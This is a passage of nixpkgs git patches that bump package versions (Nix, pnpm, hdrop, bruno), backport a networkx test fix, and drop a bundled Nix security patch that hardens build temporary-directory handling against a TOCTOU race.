+          url = "https://dldir1v6.qq.com/weixin/Universal/Mac/xWeChatMac_universal_4.0.5.27_29258.dmg";
+          hash = "sha256-Gje1F9rdykxTqYIJ4Pfq3zpUH3t3GKIK/QL5kt1qCVc=";
         };
       };
     in

From 63a12c19dc6d6d93143f8ec009869f5ac07b4476 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Wed, 25 Jun 2025 12:25:28 +0200
Subject: [PATCH 1597/4511] nix: 2.26.3 -> 2.26.4

(cherry picked from commit d968aa8c9ed500847a17ecb2448348660da6e7ad)
---
 pkgs/tools/package-management/nix/default.nix |   5 +-
 .../patches/ghsa-g948-229j-48j3-2.26.patch    | 463 ------------------
 2 files changed, 2 insertions(+), 466 deletions(-)
 delete mode 100644 pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.26.patch

diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index 8e7cf037cb3f..3d0f7884f77e 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -176,9 +176,8 @@ lib.makeExtensible (
       };
 
       nix_2_26 = commonMeson {
-        version = "2.26.3";
-        hash = "sha256-5ZV8YqU8mfFmoAMiUEuBqNwk0T3vUR//x1D12BiYCeY=";
-        patches = [ ./patches/ghsa-g948-229j-48j3-2.26.patch ];
+        version = "2.26.4";
+        hash = "sha256-WmGMiwwC9RLomNtpDeRoe5bqBAH84A6pLcqi1MbcQi4=";
         self_attribute_name = "nix_2_26";
       };
 
diff --git a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.26.patch b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.26.patch
deleted file mode 100644
index 985e7b29e53f..000000000000
--- a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.26.patch
+++ /dev/null
@@ -1,463 +0,0 @@
-From 787e012f26761e1455e711ab4ceedaa2c740621c Mon Sep 17 00:00:00 2001
-From: Eelco Dolstra <edolstra@gmail.com>
-Date: Thu, 19 Jun 2025 16:20:34 +0200
-Subject: [PATCH] Fixes for GHSA-g948-229j-48j3
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Squashed commit of the following:
-
-commit 04fff3a637d455cbb1d75937a235950e43008db9
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 12:30:32 2025 +0200
-
-    Chown structured attr files safely
-
-commit 5417ad445e414c649d0cfc71a05661c7bf8f3ef5
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 12:14:04 2025 +0200
-
-    Replace 'bool sync' with an enum for clarity
-
-    And drop writeFileAndSync().
-
-commit 7ae0141f328d8e8e1094be24665789c05f974ba6
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 11:35:28 2025 +0200
-
-    Drop guessOrInventPathFromFD()
-
-    No need to do hacky stuff like that when we already know the original path.
-
-commit 45b05098bd019da7c57cd4227a89bfd0fa65bb08
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 11:15:58 2025 +0200
-
-    Tweak comment
-
-commit 0af15b31209d1b7ec8addfae9a1a6b60d8f35848
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Thu Mar 27 12:22:26 2025 +0100
-
-    libstore: ensure that temporary directory is always 0o000 before deletion
-
-    In the case the deletion fails, we should ensure that the temporary
-    directory cannot be used for nefarious purposes.
-
-    Change-Id: I498a2dd0999a74195d13642f44a5de1e69d46120
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 2c20fa37b15cfa03ac6a1a6a47cdb2ed66c0827e
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 12:42:55 2025 +0100
-
-    libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds
-
-    When calling `_deletePath` with a parent file descriptor, `openat` is
-    made effective by using relative paths to the directory file descriptor.
-
-    To avoid the problem, the signature is changed to resist misuse with an
-    assert in the prologue of the function.
-
-    Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit d3c370bbcae48bb825ce19fd0f73bb4eefd2c9ea
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:07:47 2025 +0100
-
-    libstore: ensure that `passAsFile` is created in the original temp dir
-
-    This ensures that `passAsFile` data is created inside the expected
-    temporary build directory by `openat()` from the parent directory file
-    descriptor.
-
-    This avoids a TOCTOU which is part of the attack chain of CVE-????.
-
-    Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 45d3598724f932d024ef6bc2ffb00c1bb90e6018
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:06:03 2025 +0100
-
-    libutil: writeFile variant for file descriptors
-
-    `writeFile` lose its `sync` boolean flag to make things simpler.
-
-    A new `writeFileAndSync` function is created and all call sites are
-    converted to it.
-
-    Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 732bd9b98cabf4aaf95a01fd318923de303f9996
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:05:34 2025 +0100
-
-    libstore: chown to builder variant for file descriptors
-
-    We use it immediately for the build temporary directory.
-
-    Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 962c65f8dcd5570dd92c72370a862c7b38942e0d
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:04:59 2025 +0100
-
-    libstore: open build directory as a dirfd as well
-
-    We now keep around a proper AutoCloseFD around the temporary directory
-    which we plan to use for openat operations and avoiding the build
-    directory being swapped out while we are doing something else.
-
-    Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit c9b42462b75b5a37ee6564c2b53cff186c8323da
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:04:12 2025 +0100
-
-    libutil: guess or invent a path from file descriptors
-
-    This is useful for certain error recovery paths (no pun intended) that
-    does not thread through the original path name.
-
-    Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
----
- src/libstore/local-store.cc                   |  6 +--
- .../unix/build/local-derivation-goal.cc       | 46 ++++++++++++++----
- .../unix/build/local-derivation-goal.hh       | 20 ++++++++
- src/libutil/file-content-address.cc           |  2 +-
- src/libutil/file-system.cc                    | 47 +++++++++++--------
- src/libutil/file-system.hh                    | 14 ++++--
- 6 files changed, 99 insertions(+), 36 deletions(-)
-
-diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
-index 9a7a941b6..c0c808e0a 100644
---- a/src/libstore/local-store.cc
-+++ b/src/libstore/local-store.cc
-@@ -116,7 +116,7 @@ LocalStore::LocalStore(
-     state->stmts = std::make_unique<State::Stmts>();
- 
-     /* Create missing state directories if they don't already exist. */
--    createDirs(realStoreDir);
-+    createDirs(realStoreDir.get());
-     if (readOnly) {
-         experimentalFeatureSettings.require(Xp::ReadOnlyLocalStore);
-     } else {
-@@ -248,7 +248,7 @@ LocalStore::LocalStore(
-     else if (curSchema == 0) { /* new store */
-         curSchema = nixSchemaVersion;
-         openDB(*state, true);
--        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
-+        writeFile(schemaPath, fmt("%1%", curSchema), 0666, FsSync::Yes);
-     }
- 
-     else if (curSchema < nixSchemaVersion) {
-@@ -299,7 +299,7 @@ LocalStore::LocalStore(
-             txn.commit();
-         }
- 
--        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
-+        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, FsSync::Yes);
- 
-         lockFile(globalLock.get(), ltRead, true);
-     }
-diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
-index 5b9bc0bb0..80309e332 100644
---- a/src/libstore/unix/build/local-derivation-goal.cc
-+++ b/src/libstore/unix/build/local-derivation-goal.cc
-@@ -559,7 +559,14 @@ void LocalDerivationGoal::startBuilder()
-     } else {
-         tmpDir = topTmpDir;
-     }
--    chownToBuilder(tmpDir);
-+
-+    /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to
-+       POSIX semantics.*/
-+    tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
-+    if (!tmpDirFd)
-+        throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);
-+
-+    chownToBuilder(tmpDirFd.get(), tmpDir);
- 
-     for (auto & [outputName, status] : initialOutputs) {
-         /* Set scratch path we'll actually use during the build.
-@@ -1157,9 +1164,7 @@ void LocalDerivationGoal::initTmpDir()
-             } else {
-                 auto hash = hashString(HashAlgorithm::SHA256, i.first);
-                 std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false);
--                Path p = tmpDir + "/" + fn;
--                writeFile(p, rewriteStrings(i.second, inputRewrites));
--                chownToBuilder(p);
-+                writeBuilderFile(fn, rewriteStrings(i.second, inputRewrites));
-                 env[i.first + "Path"] = tmpDirInSandbox + "/" + fn;
-             }
-         }
-@@ -1264,11 +1269,9 @@ void LocalDerivationGoal::writeStructuredAttrs()
- 
-         auto jsonSh = writeStructuredAttrsShell(json);
- 
--        writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites));
--        chownToBuilder(tmpDir + "/.attrs.sh");
-+        writeBuilderFile(".attrs.sh", rewriteStrings(jsonSh, inputRewrites));
-         env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh";
--        writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites));
--        chownToBuilder(tmpDir + "/.attrs.json");
-+        writeBuilderFile(".attrs.json", rewriteStrings(json.dump(), inputRewrites));
-         env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json";
-     }
- }
-@@ -1779,6 +1782,24 @@ void setupSeccomp()
- #endif
- }
- 
-+void LocalDerivationGoal::chownToBuilder(int fd, const Path & path)
-+{
-+    if (!buildUser) return;
-+    if (fchown(fd, buildUser->getUID(), buildUser->getGID()) == -1)
-+        throw SysError("cannot change ownership of file '%1%'", path);
-+}
-+
-+void LocalDerivationGoal::writeBuilderFile(
-+    const std::string & name,
-+    std::string_view contents)
-+{
-+    auto path = std::filesystem::path(tmpDir) / name;
-+    AutoCloseFD fd{openat(tmpDirFd.get(), name.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)};
-+    if (!fd)
-+        throw SysError("creating file %s", path);
-+    writeFile(fd, path, contents);
-+    chownToBuilder(fd.get(), path);
-+}
- 
- void LocalDerivationGoal::runChild()
- {
-@@ -3038,6 +3059,15 @@ void LocalDerivationGoal::checkOutputs(const std::map<std::string, ValidPathInfo
- void LocalDerivationGoal::deleteTmpDir(bool force)
- {
-     if (topTmpDir != "") {
-+        /* As an extra precaution, even in the event of `deletePath` failing to
-+         * clean up, the `tmpDir` will be chowned as if we were to move
-+         * it inside the Nix store.
-+         *
-+         * This hardens against an attack which smuggles a file descriptor
-+         * to make use of the temporary directory.
-+         */
-+        chmod(topTmpDir.c_str(), 0000);
-+
-         /* Don't keep temporary directories for builtins because they
-            might have privileged stuff (like a copy of netrc). */
-         if (settings.keepFailed && !force && !drv->isBuiltin()) {
-diff --git a/src/libstore/unix/build/local-derivation-goal.hh b/src/libstore/unix/build/local-derivation-goal.hh
-index 1ea247661..74a1e1c50 100644
---- a/src/libstore/unix/build/local-derivation-goal.hh
-+++ b/src/libstore/unix/build/local-derivation-goal.hh
-@@ -37,6 +37,11 @@ struct LocalDerivationGoal : public DerivationGoal
-      */
-     Path topTmpDir;
- 
-+    /**
-+     * The file descriptor of the temporary directory.
-+     */
-+    AutoCloseFD tmpDirFd;
-+
-     /**
-      * The path of the temporary directory in the sandbox.
-      */
-@@ -244,9 +249,24 @@ struct LocalDerivationGoal : public DerivationGoal
- 
-     /**
-      * Make a file owned by the builder.
-+     *
-+     * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor.
-+     * It's only safe to call in a child of a directory only visible to the owner.
-      */
-     void chownToBuilder(const Path & path);
- 
-+    /**
-+     * Make a file owned by the builder addressed by its file descriptor.
-+     */
-+    void chownToBuilder(int fd, const Path & path);
-+
-+    /**
-+     * Create a file in `tmpDir` owned by the builder.
-+     */
-+    void writeBuilderFile(
-+        const std::string & name,
-+        std::string_view contents);
-+
-     int getChildStatus() override;
- 
-     /**
-diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc
-index 69301d9c8..2b6839346 100644
---- a/src/libutil/file-content-address.cc
-+++ b/src/libutil/file-content-address.cc
-@@ -93,7 +93,7 @@ void restorePath(
- {
-     switch (method) {
-     case FileSerialisationMethod::Flat:
--        writeFile(path, source, 0666, startFsync);
-+        writeFile(path, source, 0666, startFsync ? FsSync::Yes : FsSync::No);
-         break;
-     case FileSerialisationMethod::NixArchive:
-         restorePath(path, source, startFsync);
-diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
-index 6fe93b63a..b3183f495 100644
---- a/src/libutil/file-system.cc
-+++ b/src/libutil/file-system.cc
-@@ -258,7 +258,7 @@ void readFile(const Path & path, Sink & sink)
- }
- 
- 
--void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
-+void writeFile(const Path & path, std::string_view s, mode_t mode, FsSync sync)
- {
-     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
- // TODO
-@@ -268,22 +268,29 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
-        , mode));
-     if (!fd)
-         throw SysError("opening file '%1%'", path);
-+
-+    writeFile(fd, path, s, mode, sync);
-+
-+    /* Close explicitly to propagate the exceptions. */
-+    fd.close();
-+}
-+
-+void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode, FsSync sync)
-+{
-+    assert(fd);
-     try {
-         writeFull(fd.get(), s);
-+
-+        if (sync == FsSync::Yes)
-+            fd.fsync();
-+
-     } catch (Error & e) {
--        e.addTrace({}, "writing file '%1%'", path);
-+        e.addTrace({}, "writing file '%1%'", origPath);
-         throw;
-     }
--    if (sync)
--        fd.fsync();
--    // Explicitly close to make sure exceptions are propagated.
--    fd.close();
--    if (sync)
--        syncParent(path);
- }
- 
--
--void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
-+void writeFile(const Path & path, Source & source, mode_t mode, FsSync sync)
- {
-     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
- // TODO
-@@ -307,11 +314,11 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
-         e.addTrace({}, "writing file '%1%'", path);
-         throw;
-     }
--    if (sync)
-+    if (sync == FsSync::Yes)
-         fd.fsync();
-     // Explicitly close to make sure exceptions are propagated.
-     fd.close();
--    if (sync)
-+    if (sync == FsSync::Yes)
-         syncParent(path);
- }
- 
-@@ -374,7 +381,8 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
- #ifndef _WIN32
-     checkInterrupt();
- 
--    std::string name(baseNameOf(path.native()));
-+    std::string name(path.filename());
-+    assert(name != "." && name != ".." && !name.empty());
- 
-     struct stat st;
-     if (fstatat(parentfd, name.c_str(), &st,
-@@ -415,7 +423,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
-                 throw SysError("chmod %1%", path);
-         }
- 
--        int fd = openat(parentfd, path.c_str(), O_RDONLY);
-+        int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
-         if (fd == -1)
-             throw SysError("opening directory %1%", path);
-         AutoCloseDir dir(fdopendir(fd));
-@@ -427,7 +435,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
-             checkInterrupt();
-             std::string childName = dirent->d_name;
-             if (childName == "." || childName == "..") continue;
--            _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed);
-+            _deletePath(dirfd(dir.get()), path / childName, bytesFreed);
-         }
-         if (errno) throw SysError("reading directory %1%", path);
-     }
-@@ -445,14 +453,13 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
- 
- static void _deletePath(const fs::path & path, uint64_t & bytesFreed)
- {
--    Path dir = dirOf(path.string());
--    if (dir == "")
--        dir = "/";
-+    assert(path.is_absolute());
-+    assert(path.parent_path() != path);
- 
--    AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY));
-+    AutoCloseFD dirfd = toDescriptor(open(path.parent_path().string().c_str(), O_RDONLY));
-     if (!dirfd) {
-         if (errno == ENOENT) return;
--        throw SysError("opening directory '%1%'", path);
-+        throw SysError("opening directory %s", path.parent_path());
-     }
- 
-     _deletePath(dirfd.get(), path, bytesFreed);
-diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
-index 204907339..b2db8869e 100644
---- a/src/libutil/file-system.hh
-+++ b/src/libutil/file-system.hh
-@@ -194,21 +194,27 @@ std::string readFile(const Path & path);
- std::string readFile(const std::filesystem::path & path);
- void readFile(const Path & path, Sink & sink);
- 
-+enum struct FsSync { Yes, No };
-+
- /**
-  * Write a string to a file.
-  */
--void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false);
--static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, bool sync = false)
-+void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
-+
-+static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No)
- {
-     return writeFile(path.string(), s, mode, sync);
- }
- 
--void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false);
--static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, bool sync = false)
-+void writeFile(const Path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No);
-+
-+static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No)
- {
-     return writeFile(path.string(), source, mode, sync);
- }
- 
-+void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
-+
- /**
-  * Flush a path's parent directory to disk.
-  */
--- 
-2.49.0
-

From 333cc8a1143b4f0fa56aa929f777b1de04ddeff3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Tue, 24 Jun 2025 11:42:48 +0000
Subject: [PATCH 1598/4511] pnpm_10: 10.12.1 -> 10.12.3

(cherry picked from commit 0ba30f8150cea73888476499a2f71f0668251301)
---
 pkgs/development/tools/pnpm/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tools/pnpm/default.nix b/pkgs/development/tools/pnpm/default.nix
index 4eb4627e75a2..93ce38acf6b2 100644
--- a/pkgs/development/tools/pnpm/default.nix
+++ b/pkgs/development/tools/pnpm/default.nix
@@ -16,8 +16,8 @@ let
       hash = "sha256-z4anrXZEBjldQoam0J1zBxFyCsxtk+nc6ax6xNxKKKc=";
     };
     "10" = {
-      version = "10.12.1";
-      hash = "sha256-iJusRw7JPMw3ZEiKGda6j5xkitXlCppuS+N2il3jh6M=";
+      version = "10.12.3";
+      hash = "sha256-6XFzlGofF14dbCJFJ5Z6X0aLSCFXL69qxSf97O+sZM0=";
     };
   };
 

From 92422287800c9aa180852718a25460e5b62d1152 Mon Sep 17 00:00:00 2001
From: Schweber <64630479+Schweber@users.noreply.github.com>
Date: Tue, 24 Jun 2025 16:34:05 +0200
Subject: [PATCH 1599/4511] hdrop: 0.7.7 -> 0.7.8

(cherry picked from commit 5a38cc1ae133c857e230c1d9d1ca61ae188c0648)
---
 pkgs/by-name/hd/hdrop/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/hd/hdrop/package.nix b/pkgs/by-name/hd/hdrop/package.nix
index 9de71c9ec74f..777998aacd36 100644
--- a/pkgs/by-name/hd/hdrop/package.nix
+++ b/pkgs/by-name/hd/hdrop/package.nix
@@ -15,13 +15,13 @@
 
 stdenvNoCC.mkDerivation rec {
   pname = "hdrop";
-  version = "0.7.7";
+  version = "0.7.8";
 
   src = fetchFromGitHub {
     owner = "Schweber";
     repo = "hdrop";
     rev = "v${version}";
-    hash = "sha256-T+hyC3YfTMn5txFlFbm/+wKWj21vuwIN5lfe+iiAm8c=";
+    hash = "sha256-JlfSGJBN3aJnZcN8aY464mmADP5boenGQzOxv2sswGc=";
   };
 
   nativeBuildInputs = [

From db352cd5b8d2a317129fede33e1dfcb7a89de6d0 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Mon, 9 Jun 2025 16:16:13 +0300
Subject: [PATCH 1600/4511] python313Packages.networkx: backport fix for Python
 3.13.4

(cherry picked from commit 89e9c39e6550d1babc52096853eee41461005151)
https://hydra.nixos.org/build/300926952/nixlog/1/tail
---
 pkgs/development/python-modules/networkx/default.nix | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/pkgs/development/python-modules/networkx/default.nix b/pkgs/development/python-modules/networkx/default.nix
index eba7e30c2307..b80019907614 100644
--- a/pkgs/development/python-modules/networkx/default.nix
+++ b/pkgs/development/python-modules/networkx/default.nix
@@ -2,6 +2,7 @@
   lib,
   buildPythonPackage,
   fetchPypi,
+  fetchpatch,
   pythonOlder,
 
   # build-system
@@ -38,6 +39,16 @@ buildPythonPackage rec {
     hash = "sha256-MHw2aUKMU2KqsnyKEmCqj0fE6R04kfSL4BQXONjQU+E=";
   };
 
+  # backport patch to fix tests with Python 3.13.4
+  # FIXME: remove in next update
+  patches = [
+    (fetchpatch {
+      url = "https://github.com/networkx/networkx/commit/d85b04a8b9619580d8901f35400414f612c83113.patch";
+      includes = ["networkx/generators/lattice.py"];
+      hash = "sha256-6y/aJBDgNkUzmQ6o52CGVVzqoQgkCEXA4iAXhv1cS0c=";
+    })
+  ];
+
   nativeBuildInputs = [ setuptools ];
 
   optional-dependencies = {

From ee2ff00ec4e75f04737bcb35d7f09df2f9d69b17 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 22 May 2025 04:34:07 +0000
Subject: [PATCH 1601/4511] bruno: 2.2.0 -> 2.3.0

(cherry picked from commit a2c9efeb40a141b1fec3c42235fd988ae398ed85)
---
 pkgs/by-name/br/bruno/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/br/bruno/package.nix b/pkgs/by-name/br/bruno/package.nix
index 3f3a71d9c14f..b7a9bb82e1a8 100644
--- a/pkgs/by-name/br/bruno/package.nix
+++ b/pkgs/by-name/br/bruno/package.nix
@@ -17,20 +17,20 @@
 
 buildNpmPackage rec {
   pname = "bruno";
-  version = "2.2.0";
+  version = "2.3.0";
 
   src = fetchFromGitHub {
     owner = "usebruno";
     repo = "bruno";
     tag = "v${version}";
-    hash = "sha256-4SIOLVXVxRSaSmZcje//+o/dyLINDAM2CvLQGEAykq0=";
+    hash = "sha256-ch8xqa4XZJvK6HDrDidgL+z8E9rezDkAqcpgBRy4E9E=";
 
     postFetch = ''
       ${lib.getExe npm-lockfile-fix} $out/package-lock.json
     '';
   };
 
-  npmDepsHash = "sha256-W4qF2/AAcygqykB4zcBjb8KhfVaMrj8FLgadalDNF+0=";
+  npmDepsHash = "sha256-ZUZZWnp10Z4vQTZTTPenAXXpez6WbmB/S1VBiARuNP4=";
   npmFlags = [ "--legacy-peer-deps" ];
 
   nativeBuildInputs =

From 719d0787383af439f341faa06ffe7242eddff205 Mon Sep 17 00:00:00 2001
From: Michael Evans <michaelgrahamevans@gmail.com>
Date: Wed, 28 May 2025 18:56:45 +0200
Subject: [PATCH 1602/4511] bruno: fix version in side bar and about page

(cherry picked from commit f2169b47e63003ac780f93b345e7de9dcae8680a)
---
 pkgs/by-name/br/bruno/package.nix | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/pkgs/by-name/br/bruno/package.nix b/pkgs/by-name/br/bruno/package.nix
index b7a9bb82e1a8..affbae8974e5 100644
--- a/pkgs/by-name/br/bruno/package.nix
+++ b/pkgs/by-name/br/bruno/package.nix
@@ -13,6 +13,8 @@
   cairo,
   pango,
   npm-lockfile-fix,
+  jq,
+  moreutils,
 }:
 
 buildNpmPackage rec {
@@ -36,6 +38,8 @@ buildNpmPackage rec {
   nativeBuildInputs =
     [
       pkg-config
+      jq
+      moreutils
     ]
     ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
       makeWrapper
@@ -67,6 +71,10 @@ buildNpmPackage rec {
     # disable telemetry
     substituteInPlace packages/bruno-app/src/providers/App/index.js \
       --replace-fail "useTelemetry({ version });" ""
+
+    # fix version reported in sidebar and about page
+    jq '.version |= "${version}"' packages/bruno-electron/package.json | sponge packages/bruno-electron/package.json
+    jq '.version |= "${version}"' packages/bruno-app/package.json | sponge packages/bruno-app/package.json
   '';
 
   postConfigure = ''

From af3a0c32f67d1bb1bebaf6437048f90e7137f7a1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 1 Jun 2025 12:18:10 +0000
Subject: [PATCH 1603/4511] bruno: 2.3.0 -> 2.4.0

(cherry picked from commit 1014f7e9b3e5803c40210b50186108ba375cef36)
---
 pkgs/by-name/br/bruno/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/br/bruno/package.nix b/pkgs/by-name/br/bruno/package.nix
index affbae8974e5..690601abe917 100644
--- a/pkgs/by-name/br/bruno/package.nix
+++ b/pkgs/by-name/br/bruno/package.nix
@@ -19,13 +19,13 @@
 
 buildNpmPackage rec {
   pname = "bruno";
-  version = "2.3.0";
+  version = "2.4.0";
 
   src = fetchFromGitHub {
     owner = "usebruno";
     repo = "bruno";
     tag = "v${version}";
-    hash = "sha256-ch8xqa4XZJvK6HDrDidgL+z8E9rezDkAqcpgBRy4E9E=";
+    hash = "sha256-fE4WwgdwTB4s8NYQclUeDWJ132HJO0/3Hmesp9yvzGg=";
 
     postFetch = ''
       ${lib.getExe npm-lockfile-fix} $out/package-lock.json

From 4f5baff30f48090f3945f76de44d6a7bdbaa80e3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Tue, 3 Jun 2025 22:56:24 +0200
Subject: [PATCH 1604/4511] bruno: fix build

Explanation at
https://github.com/NixOS/nixpkgs/pull/411803#issuecomment-2937157503.

(cherry picked from commit 9832a4c0ff1146ef349beea7a686ce39f3ee8c52)
---
 pkgs/by-name/br/bruno/package.nix | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/br/bruno/package.nix b/pkgs/by-name/br/bruno/package.nix
index 690601abe917..5a13b1dfea00 100644
--- a/pkgs/by-name/br/bruno/package.nix
+++ b/pkgs/by-name/br/bruno/package.nix
@@ -38,8 +38,6 @@ buildNpmPackage rec {
   nativeBuildInputs =
     [
       pkg-config
-      jq
-      moreutils
     ]
     ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
       makeWrapper
@@ -73,8 +71,8 @@ buildNpmPackage rec {
       --replace-fail "useTelemetry({ version });" ""
 
     # fix version reported in sidebar and about page
-    jq '.version |= "${version}"' packages/bruno-electron/package.json | sponge packages/bruno-electron/package.json
-    jq '.version |= "${version}"' packages/bruno-app/package.json | sponge packages/bruno-app/package.json
+    ${jq}/bin/jq '.version |= "${version}"' packages/bruno-electron/package.json | ${moreutils}/bin/sponge packages/bruno-electron/package.json
+    ${jq}/bin/jq '.version |= "${version}"' packages/bruno-app/package.json | ${moreutils}/bin/sponge packages/bruno-app/package.json
   '';
 
   postConfigure = ''

From b65b5955795f1138262584893fd0780de8968d6d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 11 Jun 2025 19:42:04 +0000
Subject: [PATCH 1605/4511] bruno: 2.4.0 -> 2.5.0

(cherry picked from commit 3ed1b000ca7a414c18fe7c21279f8e2ab993c884)
---
 pkgs/by-name/br/bruno/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/br/bruno/package.nix b/pkgs/by-name/br/bruno/package.nix
index 5a13b1dfea00..45f3d2d7856c 100644
--- a/pkgs/by-name/br/bruno/package.nix
+++ b/pkgs/by-name/br/bruno/package.nix
@@ -19,20 +19,20 @@
 
 buildNpmPackage rec {
   pname = "bruno";
-  version = "2.4.0";
+  version = "2.5.0";
 
   src = fetchFromGitHub {
     owner = "usebruno";
     repo = "bruno";
     tag = "v${version}";
-    hash = "sha256-fE4WwgdwTB4s8NYQclUeDWJ132HJO0/3Hmesp9yvzGg=";
+    hash = "sha256-5kCYKktD71LdknIITSXzl/r5IRUyBUCKL9mmjsMwYRI=";
 
     postFetch = ''
       ${lib.getExe npm-lockfile-fix} $out/package-lock.json
     '';
   };
 
